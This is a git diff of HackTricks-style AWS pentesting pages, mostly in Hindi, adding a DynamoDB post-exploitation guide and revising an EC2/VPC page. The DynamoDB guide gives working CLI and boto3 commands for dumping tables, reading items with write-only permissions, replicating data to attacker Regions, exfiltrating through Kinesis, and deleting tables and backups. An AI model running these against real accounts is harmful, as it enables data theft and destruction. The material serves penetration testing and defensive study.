-**Potential Impact:** लगातार, लगभग रियल-टाइम exfiltration — तालिका के परिवर्तनों का हमलावर-नियंत्रित Kinesis स्ट्रीम पर बाहर जाना, बिना तालिका पर सीधे पढ़ने के ऑपरेशन किए।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
new file mode 100644
index 000000000..635093a82
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
@@ -0,0 +1,535 @@
+# AWS - DynamoDB Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## DynamoDB
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### `dynamodb:BatchGetItem`
+
+इन अनुमतियों वाले हमलावर को **तालिकाओं से प्राथमिक कुंजी के माध्यम से आइटम प्राप्त करने** में सक्षम होगा (आप सीधे तालिका का पूरा डेटा नहीं मांग सकते)। इसका मतलब है कि आपको प्राथमिक कुंजियाँ पता होनी चाहिए (आप यह तालिका के metadata (`describe-table`) से प्राप्त कर सकते हैं)।
+
+{{#tabs }}
+{{#tab name="json file" }}
+```bash
+aws dynamodb batch-get-item --request-items file:///tmp/a.json
+
+// With a.json
+{
+"ProductCatalog" : { // This is the table name
+"Keys": [
+{
+"Id" : { // Primary keys name
+"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
+}
+}
+]
+}
+}
+```
+{{#endtab }}
+
+{{#tab name="inline" }}
+```bash
+aws dynamodb batch-get-item \
+--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \
+--region 
+```
+{{#endtab }}
+{{#endtabs }}
+
+**संभावित प्रभाव:** टेबल में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
+
+### `dynamodb:GetItem`
+
+**पिछली अनुमतियों के समान** यह अनुमति एक संभावित attacker को केवल 1 टेबल से उस एंट्री की प्राथमिक कुंजी दिए जाने पर मान पढ़ने की अनुमति देती है:
+```json
+aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
+
+// With a.json
+{
+"Id" : {
+"N": "205"
+}
+}
+```
+इस अनुमति के साथ **`transact-get-items`** method का उपयोग भी इस तरह किया जा सकता है:
+```json
+aws dynamodb transact-get-items \
+--transact-items file:///tmp/a.json
+
+// With a.json
+[
+{
+"Get": {
+"Key": {
+"Id": {"N": "205"}
+},
+"TableName": "ProductCatalog"
+}
+}
+]
+```
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर Indirect privesc
+
+### `dynamodb:Query`
+
+**Similar to the previous permissions** यह अनुमति देता है कि एक संभावित attacker केवल 1 table से मान पढ़ सके जब entry की primary key दी गई हो जिसे retrieve करना हो। यह [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) का उपयोग करने की अनुमति देता है, लेकिन primary key (जो मौजूद होना आवश्यक है) के साथ केवल comparison "EQ" की अनुमति है, इसलिए आप किसी request में पूरा DB प्राप्त करने के लिए comparison का उपयोग नहीं कर सकते।
+
+{{#tabs }}
+{{#tab name="json file" }}
+```bash
+aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
+
+// With a.json
+{
+"Id" : {
+"ComparisonOperator":"EQ",
+"AttributeValueList": [ {"N": "205"} ]
+}
+}
+```
+{{#endtab }}
+
+{{#tab name="inline" }}
+```bash
+aws dynamodb query \
+--table-name TargetTable \
+--key-condition-expression "AttributeName = :value" \
+--expression-attribute-values '{":value":{"S":"TargetValue"}}' \
+--region 
+```
+{{#endtab }}
+{{#endtabs }}
+
+**संभावित प्रभाव:** तालिका में संवेदनशील जानकारी का पता लगाकर अप्रत्यक्ष privesc
+
+### `dynamodb:Scan`
+
+आप इस अनुमति का उपयोग करके **पूरी table को आसानीसे dump कर सकते हैं।**
+```bash
+aws dynamodb scan --table-name  #Get data inside the table
+```
+**Potential Impact:** टेबल में संवेदनशील जानकारी का पता लगाकर परोक्ष privesc
+
+### `dynamodb:PartiQLSelect`
+
+आप इस अनुमति का उपयोग करके **पूरी टेबल को आसानी से dump** कर सकते हैं।
+```bash
+aws dynamodb execute-statement \
+--statement "SELECT * FROM ProductCatalog"
+```
+यह अनुमति `batch-execute-statement` जैसी कार्रवाइयाँ करने की भी अनुमति देती है:
+```bash
+aws dynamodb batch-execute-statement \
+--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
+```
+लेकिन आपको प्राथमिक कुंजी के साथ एक मान निर्दिष्ट करना होगा, इसलिए यह इतना उपयोगी नहीं है।
+
+**Potential Impact:** अप्रत्यक्ष privesc — टेबल में संवेदनशील जानकारी का पता लगाने से
+
+### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
+
+यह अनुमति एक हमलावर को उसकी चुनी हुई S3 bucket में **पूरी तालिका को निर्यात करने** की अनुमति देगी:
+```bash
+aws dynamodb export-table-to-point-in-time \
+--table-arn arn:aws:dynamodb:::table/TargetTable \
+--s3-bucket  \
+--s3-prefix  \
+--export-time  \
+--region 
+```
+ध्यान दें कि यह काम करने के लिए तालिका में point-in-time-recovery सक्षम होना चाहिए, आप यह जांच सकते हैं कि तालिका में यह है या नहीं इसके लिए:
+```bash
+aws dynamodb describe-continuous-backups \
+--table-name 
+```
+यदि यह सक्षम नहीं है, तो आपको **इसे सक्षम करना होगा** और इसके लिए आपको **`dynamodb:ExportTableToPointInTime`** अनुमति चाहिए:
+```bash
+aws dynamodb update-continuous-backups \
+--table-name  \
+--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
+```
+**Potential Impact:** अप्रत्यक्ष privesc द्वारा टेबल में संवेदनशील जानकारी का पता लगाकर
+
+### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
+
+इन अनुमतियों के साथ, एक हमलावर **create a new table from a backup** कर सकेगा (या यहाँ तक कि एक बैकअप बना कर उसे किसी अलग टेबल में restore कर सकता है)। फिर, आवश्यक अनुमतियों के साथ, वह बैकअप से **information** जांच सकेगा जो c**ould not be any more in the production** table.
+```bash
+aws dynamodb restore-table-from-backup \
+--backup-arn  \
+--target-table-name  \
+--region 
+```
+**Potential Impact:** टेबल बैकअप में संवेदनशील जानकारी ढूँढकर अप्रत्यक्ष privesc
+
+### `dynamodb:PutItem`
+
+यह अनुमति उपयोगकर्ताओं को तालिका में **नया आइटम जोड़ने या किसी मौजूदा आइटम को नए आइटम से प्रतिस्थापित करने** की अनुमति देती है। यदि समान प्राथमिक कुंजी वाला आइटम पहले से मौजूद है, तो **संपूर्ण आइटम नए आइटम से प्रतिस्थापित कर दिया जाएगा**। यदि प्राथमिक कुंजी मौजूद नहीं है, तो निर्दिष्ट प्राथमिक कुंजी के साथ एक नया आइटम **बनाया जाएगा**।
+
+{{#tabs }}
+{{#tab name="XSS Example" }}
+```bash
+## Create new item with XSS payload
+aws dynamodb put-item --table  --item file://add.json
+### With add.json:
+{
+"Id": {
+"S": "1000"
+},
+"Name": {
+"S":  "Marc"
+},
+"Description": {
+"S": ""
+}
+}
+```
+{{#endtab }}
+
+{{#tab name="AI Example" }}
+```bash
+aws dynamodb put-item \
+--table-name ExampleTable \
+--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \
+--region 
+```
+{{#endtab }}
+{{#endtabs }}
+
+**संभावित प्रभाव:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने से vulnerabilities/bypasses का और अधिक शोषण हो सकता है
+
+### `dynamodb:UpdateItem`
+
+यह permission उपयोगकर्ताओं को **किसी आइटम के मौजूदा गुणों को संशोधित करने या किसी आइटम में नए गुण जोड़ने** की अनुमति देता है। यह पूरे आइटम को **बदलता नहीं है**; यह केवल निर्दिष्ट विशेषताओं को ही अपडेट करता है। यदि तालिका में प्राथमिक कुंजी मौजूद नहीं है, तो यह ऑपरेशन निर्दिष्ट प्राथमिक कुंजी के साथ **एक नया आइटम बनाएगा** और update expression में निर्दिष्ट विशेषताओं को सेट करेगा।
+
+{{#tabs }}
+{{#tab name="XSS Example" }}
+```bash
+## Update item with XSS payload
+aws dynamodb update-item --table  \
+--key file://key.json --update-expression "SET Description = :value" \
+--expression-attribute-values file://val.json
+### With key.json:
+{
+"Id": {
+"S": "1000"
+}
+}
+### and val.json
+{
+":value": {
+"S": ""
+}
+}
+```
+{{#endtab }}
+
+{{#tab name="AI Example" }}
+```bash
+aws dynamodb update-item \
+--table-name ExampleTable \
+--key '{"Id": {"S": "1"}}' \
+--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \
+--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \
+--region 
+```
+{{#endtab }}
+{{#endtabs }}
+
+**Potential Impact:** DynamoDB table में डेटा जोड़ने/संशोधित करने में सक्षम होने पर और भी vulnerabilities/bypasses का शोषण संभव है।
+
+### `dynamodb:DeleteTable`
+
+इस अनुमति वाले हमलावर **DynamoDB table को delete कर सकते हैं, जिससे डेटा हानि हो सकती है**।
+```bash
+aws dynamodb delete-table \
+--table-name TargetTable \
+--region 
+```
+**Potential impact**: डेटा हानि और हटाई गई तालिका पर निर्भर सेवाओं में व्यवधान।
+
+### `dynamodb:DeleteBackup`
+
+इस अनुमति वाले attacker **DynamoDB का बैकअप हटा सकता है, जो आपदा पुनर्प्राप्ति की स्थिति में संभावित रूप से डेटा हानि का कारण बन सकता है**।
+```bash
+aws dynamodb delete-backup \
+--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
+--region 
+```
+**Potential impact**: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्त करने में असमर्थता।
+
+### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
+
+> [!NOTE]
+> TODO: जाँचें कि यह वास्तव में काम करता है
+
+इन अनुमतियों वाले एक हमलावर को **DynamoDB table पर एक stream सक्षम करने, table को अपडेट करके changes को stream करना शुरू करने, और फिर stream तक पहुँचकर table में होने वाले changes को real-time में मॉनिटर करने** की क्षमता मिलती है। यह हमलावर को data changes को मॉनिटर और exfiltrate करने की अनुमति देता है, जो संभावित रूप से data leakage का कारण बन सकता है।
+
+1. DynamoDB table पर एक stream सक्षम करें:
+```bash
+aws dynamodb update-table \
+--table-name TargetTable \
+--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
+--region 
+```
+2. ARN और अन्य विवरण प्राप्त करने के लिए stream का वर्णन करें:
+```bash
+aws dynamodb describe-stream \
+--table-name TargetTable \
+--region 
+```
+3. stream ARN का उपयोग करके shard iterator प्राप्त करें:
+```bash
+aws dynamodbstreams get-shard-iterator \
+--stream-arn  \
+--shard-id  \
+--shard-iterator-type LATEST \
+--region 
+```
+4. shard iterator का उपयोग stream से डेटा तक पहुँचने और exfiltrate करने के लिए करें:
+```bash
+aws dynamodbstreams get-records \
+--shard-iterator  \
+--region 
+```
+**संभावित प्रभाव**: DynamoDB table के परिवर्तनों का real-time monitoring और data leakage.
+
+### `dynamodb:UpdateItem` और `ReturnValues=ALL_OLD` के माध्यम से आइटम पढ़ें
+
+यदि किसी table पर केवल `dynamodb:UpdateItem` की अनुमति वाला एक हमलावर हो, तो वह एक benign update करके और `--return-values ALL_OLD` का अनुरोध करके सामान्य read permissions (`GetItem`/`Query`/`Scan`) के बिना आइटम पढ़ सकता है। DynamoDB response के `Attributes` फील्ड में आइटम की पूर्ण pre-update image लौटाएगा (यह RCUs को consume नहीं करता)।
+
+- न्यूनतम अनुमतियाँ: लक्ष्य table/key पर `dynamodb:UpdateItem`।
+- पूर्वापेक्षाएँ: आपको आइटम की प्राथमिक कुंजी पता होनी चाहिए।
+
+उदाहरण (एक निरापद attribute जोड़ता है और प्रतिक्रिया में पिछले आइटम को exfiltrates करता है):
+```bash
+aws dynamodb update-item \
+--table-name  \
+--key '{"":{"S":""}}' \
+--update-expression 'SET #m = :v' \
+--expression-attribute-names '{"#m":"exfil_marker"}' \
+--expression-attribute-values '{":v":{"S":"1"}}' \
+--return-values ALL_OLD \
+--region 
+```
+CLI response में एक `Attributes` ब्लॉक होगा जो complete previous item (all attributes) को शामिल करेगा, जो write-only access से effectively एक read primitive प्रदान करता है।
+
+**Potential Impact:** केवल write permissions के साथ एक table से arbitrary items पढ़े जा सकते हैं, और जब primary keys ज्ञात हों तो sensitive data exfiltration संभव हो जाती है।
+
+
+### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
+
+DynamoDB Global Table (version 2019.11.21) में एक नया replica Region जोड़कर Stealth exfiltration। यदि किसी principal को regional replica जोड़ने की अनुमति है, तो पूरा table attacker-chosen Region में replicate हो जाएगा, जहाँ से attacker सभी items पढ़ सकता है।
+
+{{#tabs }}
+{{#tab name="PoC (default DynamoDB-managed KMS)" }}
+```bash
+# Add a new replica Region (from primary Region)
+aws dynamodb update-table \
+--table-name  \
+--replica-updates '[{"Create": {"RegionName": ""}}]' \
+--region 
+
+# Wait until the replica table becomes ACTIVE in the replica Region
+aws dynamodb describe-table --table-name  --region  --query 'Table.TableStatus'
+
+# Exfiltrate by reading from the replica Region
+aws dynamodb scan --table-name  --region 
+```
+{{#endtab }}
+{{#tab name="PoC (customer-managed KMS)" }}
+```bash
+# Specify the CMK to use in the replica Region
+aws dynamodb update-table \
+--table-name  \
+--replica-updates '[{"Create": {"RegionName": "", "KMSMasterKeyId": "arn:aws:kms:::key/"}}]' \
+--region 
+```
+{{#endtab }}
+{{#endtabs }}
+
+Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
+
+Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
+
+### `dynamodb:TransactWriteItems` (failed condition के जरिए पढ़ना + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+
+एक attacker जिसके पास transactional write privileges हैं, वह किसी मौजूदा item के पूर्ण attributes को exfiltrate कर सकता है — `TransactWriteItems` के अंदर `Update` करके जो जानबूझकर `ConditionExpression` को fail कर देता है, और साथ में `ReturnValuesOnConditionCheckFailure=ALL_OLD` सेट करता है। विफलता होने पर, DynamoDB transaction cancellation reasons में पहले के attributes शामिल करता है, जिससे write-only access प्रभावी रूप से लक्षित keys का read access बन जाता है।
+
+{{#tabs }}
+{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
+```bash
+# Create the transaction input (list form for --transact-items)
+cat > /tmp/tx_items.json << 'JSON'
+[
+{
+"Update": {
+"TableName": "",
+"Key": {"": {"S": ""}},
+"UpdateExpression": "SET #m = :v",
+"ExpressionAttributeNames": {"#m": "marker"},
+"ExpressionAttributeValues": {":v": {"S": "x"}},
+"ConditionExpression": "attribute_not_exists()",
+"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
+}
+}
+]
+JSON
+
+# Execute. Newer AWS CLI versions support returning cancellation reasons
+aws dynamodb transact-write-items \
+--transact-items file:///tmp/tx_items.json \
+--region  \
+--return-cancellation-reasons
+# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
+```
+{{#endtab }}
+{{#tab name="PoC (boto3)" }}
+```python
+import boto3
+c=boto3.client('dynamodb',region_name='')
+try:
+c.transact_write_items(TransactItems=[{ 'Update': {
+'TableName':'',
+'Key':{'':{'S':''}},
+'UpdateExpression':'SET #m = :v',
+'ExpressionAttributeNames':{'#m':'marker'},
+'ExpressionAttributeValues':{':v':{'S':'x'}},
+'ConditionExpression':'attribute_not_exists()',
+'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
+except c.exceptions.TransactionCanceledException as e:
+print(e.response['CancellationReasons'][0]['Item'])
+```
+{{#endtab }}
+{{#endtabs }}
+
+अनुमतियाँ: `dynamodb:TransactWriteItems` लक्ष्य टेबल पर (और संबंधित आइटम पर)। किसी भी पढ़ने की अनुमति (read permissions) आवश्यक नहीं हैं।
+
+संभावित प्रभाव: केवल transactional write privileges का उपयोग करके (वापसी किए गए cancellation reasons के माध्यम से) किसी टेबल से primary key के आधार पर arbitrary items पढ़े जा सकते हैं।
+
+
+### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` GSI पर
+
+किसी low-entropy attribute पर `ProjectionType=ALL` के साथ Global Secondary Index (GSI) बनाकर read प्रतिबंधों को बायपास करें, उस attribute को सभी items में एक constant मान पर सेट करें, और फिर पूर्ण items प्राप्त करने के लिए index को `Query` करें। यह तब भी काम करता है जब base table पर `Query`/`Scan` अस्वीकृत हों, बशर्ते आप index ARN को query कर सकें।
+
+- न्यूनतम अनुमतियाँ:
+- `dynamodb:UpdateTable` लक्ष्य टेबल पर (GSI को `ProjectionType=ALL` के साथ बनाने के लिए)।
+- `dynamodb:UpdateItem` लक्ष्य टेबल की keys पर (प्रत्येक item पर indexed attribute सेट करने के लिए)।
+- `dynamodb:Query` index resource ARN पर (`arn:aws:dynamodb:::table//index/`).
+
+कदम (PoC in us-east-1):
+```bash
+# 1) Create table and seed items (without the future GSI attribute)
+aws dynamodb create-table --table-name HTXIdx \
+--attribute-definitions AttributeName=id,AttributeType=S \
+--key-schema AttributeName=id,KeyType=HASH \
+--billing-mode PAY_PER_REQUEST --region us-east-1
+aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
+for i in 1 2 3 4 5; do \
+aws dynamodb put-item --table-name HTXIdx \
+--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
+--region us-east-1; done
+
+# 2) Add GSI on attribute X with ProjectionType=ALL
+aws dynamodb update-table --table-name HTXIdx \
+--attribute-definitions AttributeName=X,AttributeType=S \
+--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
+--region us-east-1
+# Wait for index to become ACTIVE
+aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
+--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
+
+# 3) Set X="dump" for each item (only UpdateItem on known keys)
+for i in 1 2 3 4 5; do \
+aws dynamodb update-item --table-name HTXIdx \
+--key "{\"id\":{\"S\":\"$i\"}}" \
+--update-expression 'SET #x = :v' \
+--expression-attribute-names '{"#x":"X"}' \
+--expression-attribute-values '{":v":{"S":"dump"}}' \
+--region us-east-1; done
+
+# 4) Query the index by the constant value to retrieve full items
+aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
+--key-condition-expression '#x = :v' \
+--expression-attribute-names '{"#x":"X"}' \
+--expression-attribute-values '{":v":{"S":"dump"}}' \
+--region us-east-1
+```
+**संभावित प्रभाव:** एक नए बनाए गए GSI को क्वेरी करके तालिका की पूरी जानकारी निकाल ली जा सकती है जो सभी attributes प्रोजेक्ट करता है, भले ही बेस टेबल के read APIs को deny किया गया हो।
+
+
+### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams के माध्यम से निरंतर एक्सफ़िल्ट्रेशन)
+
+DynamoDB Kinesis streaming destinations का दुरुपयोग करके तालिका में हुए परिवर्तनों को हमलावर-नियंत्रित Kinesis Data Stream में लगातार एक्सफ़िल्ट्रेट किया जा सकता है। एक बार enabled होने पर, हर INSERT/MODIFY/REMOVE इवेंट लगभग real-time में stream को अग्रेषित कर दिया जाता है और इसके लिए तालिका पर read permissions की आवश्यकता नहीं होती।
+
+Minimum permissions (attacker):
+- `dynamodb:EnableKinesisStreamingDestination` on the target table
+- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
+- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
+
+

+PoC (us-east-1)
+```bash
+# 1) Prepare: create a table and seed one item
+aws dynamodb create-table --table-name HTXKStream \
+--attribute-definitions AttributeName=id,AttributeType=S \
+--key-schema AttributeName=id,KeyType=HASH \
+--billing-mode PAY_PER_REQUEST --region us-east-1
+aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
+aws dynamodb put-item --table-name HTXKStream \
+--item file:///tmp/htx_item1.json --region us-east-1
+# /tmp/htx_item1.json
+# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
+
+# 2) Create attacker Kinesis Data Stream
+aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
+aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
+
+# 3) Enable the DynamoDB -> Kinesis streaming destination
+STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
+--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
+aws dynamodb enable-kinesis-streaming-destination \
+--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
+# Optionally wait until ACTIVE
+aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
+--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
+
+# 4) Generate changes on the table
+aws dynamodb put-item --table-name HTXKStream \
+--item file:///tmp/htx_item2.json --region us-east-1
+# /tmp/htx_item2.json
+# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
+aws dynamodb update-item --table-name HTXKStream \
+--key file:///tmp/htx_key_a1.json \
+--update-expression "SET #i = :v" \
+--expression-attribute-names {#i:info} \
+--expression-attribute-values {:v:{S:updated}} \
+--region us-east-1
+# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
+
+# 5) Consume from Kinesis to observe DynamoDB images
+SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
+--query Shards[0].ShardId --output text)
+IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
+--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
+aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
+# Decode one record (Data is base64-encoded)
+jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
+
+# 6) Cleanup (recommended)
+aws dynamodb disable-kinesis-streaming-destination \
+--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
+aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
+aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
+```
+

+
+**संभावित प्रभाव:** तालिका परिवर्तनों का निरंतर, लगभग वास्तविक-समय में attacker-controlled Kinesis stream पर exfiltration, तालिका पर सीधे read operations किए बिना।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index bbb4ce1ba..52b521894 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -4,7 +4,7 @@
 
 ## EC2 & VPC
 
-अधिक जानकारी के लिए देखें:
+For more information check:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,10 +12,11 @@
 
 ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-VPC ट्रैफिक मिररिंग **VPC के भीतर EC2 इंस्टेंस के लिए इनबाउंड और आउटबाउंड ट्रैफिक को डुप्लिकेट करती है** बिना इंस्टेंस पर कुछ भी इंस्टॉल किए। यह डुप्लिकेट किया गया ट्रैफिक आमतौर पर विश्लेषण और निगरानी के लिए नेटवर्क इंट्रूजन डिटेक्शन सिस्टम (IDS) जैसी किसी चीज़ पर भेजा जाएगा।\
-एक हमलावर इसका दुरुपयोग करके सभी ट्रैफिक को कैप्चर कर सकता है और इससे संवेदनशील जानकारी प्राप्त कर सकता है:
+VPC ट्रैफ़िक मिररिंग **VPC के भीतर EC2 instances के इनबाउंड और आउटबाउंड ट्रैफ़िक की नकल करता है** बिना instances पर कुछ इंस्टॉल करने की आवश्यकता के।\
+यह नक़ल किया गया ट्रैफ़िक आमतौर पर विश्लेषण और मॉनिटरिंग के लिए network intrusion detection system (IDS) जैसे किसी सिस्टम को भेजा जाता है।\
+An attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को capture कर सकता है और उससे संवेदनशील जानकारी प्राप्त कर सकता है:
 
-अधिक जानकारी के लिए इस पृष्ठ को देखें:
+For more information check this page:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
@@ -23,7 +24,7 @@ aws-malicious-vpc-mirror.md
 
 ### Copy Running Instance
 
-इंस्टेंस आमतौर पर कुछ प्रकार की संवेदनशील जानकारी रखते हैं। अंदर जाने के विभिन्न तरीके हैं (देखें [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). हालाँकि, यह जांचने का एक और तरीका है कि इसमें क्या है, **एक AMI बनाना और इससे एक नया इंस्टेंस चलाना (यहां तक कि अपने स्वयं के खाते में)**:
+Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,43 +50,107 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\
-If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
+**Snapshots volumes के बैकअप होते हैं**, जो आमतौर पर **सेंसिटिव जानकारी** रख सकते हैं, इसलिए इन्हें चेक करने पर यह जानकारी उजागर हो सकती है.\
+अगर आप किसी **volume without a snapshot** पाते हैं तो आप: **Create a snapshot** कर सकते हैं और निम्न क्रियाएँ कर सकते हैं या बस उसे अकाउंट के अंदर किसी instance में **mount it in an instance** कर लें:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
+### Covert Disk Exfiltration via AMI Store-to-S3
+
+EC2 AMI को सीधे S3 में `CreateStoreImageTask` का उपयोग करके export करें ताकि बिना snapshot sharing के raw disk image प्राप्त हो सके। इससे instance की नेटवर्किंग को छेड़े बिना पूरा ऑफ़लाइन forensic या डेटा चोरी संभव हो जाती है।
+
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
+
+### Live Data Theft via EBS Multi-Attach
+
+io1/io2 Multi-Attach volume को दूसरे instance से attach करें और उसे read-only mount करके बिना snapshots के live डेटा siphon करें। तब उपयोगी है जब victim volume पहले से ही उसी AZ के भीतर Multi-Attach enabled हो।
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+EC2 Instance Connect Endpoint बनाकर ingress authorize करें और ephemeral SSH keys inject करके managed tunnel के जरिए private instances तक पहुँच बनाएं। यह public ports खोले बिना तेज़ lateral movement रास्ते प्रदान करता है।
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+victim ENI की secondary private IP को attacker-controlled ENI में मूव करें ताकि IP द्वारा allowlisted trusted hosts का impersonation किया जा सके। यह internal ACLs या उन SG नियमों को बायपास करने में सक्षम बनाता है जो specific addresses पर आधारित होते हैं।
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+victim instance से Elastic IP को attacker के साथ reassociate करें ताकि inbound ट्रैफ़िक intercept किया जा सके या outbound कनेक्शन्स originate किए जा सकें जो trusted public IPs से आने जैसा दिखाई दें।
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+अगर कोई security group rule किसी customer-managed prefix list को reference करता है, तो सूची में attacker CIDRs जोड़ने से बिना SG को बदलें हर dependent SG rule में चुपचाप पहुँच बढ़ जाती है।
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+gateway या interface VPC endpoints बनाकर isolated subnets से outbound access पुनः प्राप्त करें। AWS-managed private links का इस्तेमाल करके IGW/NAT controls के अभाव को बायपास करके डेटा exfiltration किया जा सकता है।
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि victim account के बाहर लगातार नेटवर्क मेटाडेटा (source/destination, ports) लंबी अवधि के reconnaissance के लिए इकट्ठा किया जा सके।
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
 ### Data Exfiltration
 
 #### DNS Exfiltration
 
